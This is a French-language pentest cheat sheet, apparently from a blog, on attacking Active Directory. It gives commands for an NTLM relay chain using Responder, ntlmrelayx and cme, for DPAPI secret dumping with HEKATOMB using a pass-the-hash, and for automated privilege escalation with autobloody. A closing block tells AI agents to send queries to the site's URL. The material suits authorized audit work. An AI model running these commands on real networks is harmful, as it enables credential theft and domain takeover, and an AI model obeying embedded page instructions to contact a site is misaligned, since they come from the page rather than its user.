# Pentest AD

## Cheat Sheet

![AD pentesting mindmap v1](/files/CszLmaC8cDkANLEHvRIy)

<figure><img src="/files/ptamfCGGmN7VXMuaWjCh" alt=""><figcaption><p>AD Pentesting mindmap v2</p></figcaption></figure>

## Responder+ntlmrelayx+cme chaining

### PoC

* Responder -I eth0 -rPvd
* ntlmrelayx -smb2support --smb-add-computer \<fake pc> -t \<domain controler> --no-http-server --no-wcf-server --no-raw-server
* cme smb \<ip> -u \<fake pc> -p \<generated password>

<figure><img src="/files/JY9tGjoV7oE1fQXeYJab" alt=""><figcaption></figcaption></figure>

## HEKATOMB

Hekatomb est un script python qui se connecte à l'annuaire LDAP pour récupérer toutes les informations des ordinateurs et des utilisateurs. Ensuite, il téléchargera tous les blob DPAPI de tous les utilisateurs de tous les ordinateurs et utilisera les clés de sauvegarde du domaine pour les déchiffrer.

Exemple d'utilisation:

```
$ python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
```

ressource: <https://github.com/Processus-Thief/HEKATOMB>

## AutoBloody

AutoBloody est un outil permettant d'exploiter automatiquement les chemins d'escalade de privilèges Active Directory indiqués par BloodHound

Exemple d'utilisation:

```
$ autobloody -u <utilisateur> -p '<mot de passe>' --host <Domain Controller> -dp '<mdp Neo4J>' -ds '<DB source>' -dt '<DB target>'
```

ressource: <https://github.com/CravateRouge/autobloody>

## Ligolo-ng

Ligolo-ng est un outil de tunneling pour les audits internes.

ressource: <https://github.com/nicocha30/ligolo-ng>

## Ressources

* <https://wadcoms.github.io/>
* <https://www.ired.team/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-ad.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
